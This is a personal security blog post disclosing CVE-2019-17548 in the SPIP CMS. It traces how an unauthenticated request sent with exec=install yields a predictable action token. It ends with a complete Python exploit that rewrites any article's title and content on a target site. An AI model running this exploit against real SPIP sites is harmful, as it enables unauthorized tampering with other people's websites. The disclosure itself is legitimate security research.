(。◕‿‿◕。) Sylvain's blog
Spipping around
Oct 14, 2019Introduction
This blog post about a bug in SPIP I discovered while doing some code review on open sources PHP CMS.
This is a description of CVE-2019-17548.
The beginning
SPIP have an administration system in a folder called ecrire, you need to login to be able to edit stuff and to call their API. The call to their API in ecrire/action, is protected by a function checking if your token is allowed to do the request you want to make.
But I don’t want to login :(
Investigation
Let’s say we want to edit an article, because we don’t agree with it, or wathever, it’s not my business. This file is handling the article edition. After a little bit of looking around we conclude that to be able to edit an article you need to pass the function securiser_action, which is defined here.
In our case $action is not defined, so we’ll call verifier_action_auteur with $action-$arg and $hash as arguments. We know for a fact that $action is our action, and $arg the arguments we sent the action. Now lets check verifier_action_auteur and see what this $hash is used for. It starts by getting $id_auteur, and $pass from caracteriser_auteur. This function seems to do a lot of things, but our $id_auteur is null, and we don’t have any cookie, so it will most likely return array('0', '').
Then we check if the user provided hash is equal to _action_auteur, with as parameters our $action, $id_auteur, $pass and 'alea_ephemere' or 'alea_ephemere_ancien'.
The first action done by _action_auteur is to check if $sha[$id_auteur . $pass . $alea] is already set. If it is not it creates an entry in $sha for us. Now remember, our $id_auteur . $pass . $alea = 0 . "" . 'alea_ephemere', so it is most likely set. The next condition check something we don’t care about, and if _request('exec') !== 'install', so we can bypass this check by simply sending exec=install in our request. Then the function create sha256(0 . "" . 'alea_ephemere') for you, then continue its execution, and will return sha1($action . $sha[$id_auteur . $pass . $alea])
Let’s recap real quick.
To edit an article, i need to send to the API:
- What I want to do (
$action) - What I want the new content to be (
$arg) - And a token (
$hash)
But if I’m not logged in, and send that we are in an installation process, the token is sha1("$action-$arg" . sha256(0 . '' . alea_ephemere)).
Here is a working exploit for it:
import requests
import hashlib
import argparse
# You may need to run:
# pip install requests argparse hashlib
# This is the _nano_sha256 of an empty alea
_nano_sha256 = \
'5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9'
def edit_article(url, article_id, new_content, new_title):
rHash = hashlib.sha1('{}-{}{}'.format(
'editer_article', article_id, _nano_sha256).encode('utf8')).hexdigest()
r = requests.post('{}/ecrire/'.format(url), data={
'exec': 'install',
'action': 'editer_article',
'arg': article_id,
'hash': rHash,
'texte': new_content,
'titre': new_title,
})
if r.status_code == 200 or r.status_code == 204:
print('Modified successfully')
else:
print('Error')
return 0
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Modify any article of SPIP.')
parser.add_argument('URL', type=str, help='URL of the SPIP website')
parser.add_argument('ID', type=int, help='ID of an article')
parser.add_argument('content', type=str,
help='New content for the article')
parser.add_argument('title', type=str, help='New title for the article')
args = parser.parse_args()
edit_article(args.URL, args.ID, args.content, args.title)
So this is how you could escalate privilege to get administrator rights in SPIP, I hope you enjoyed the read, and had fun :)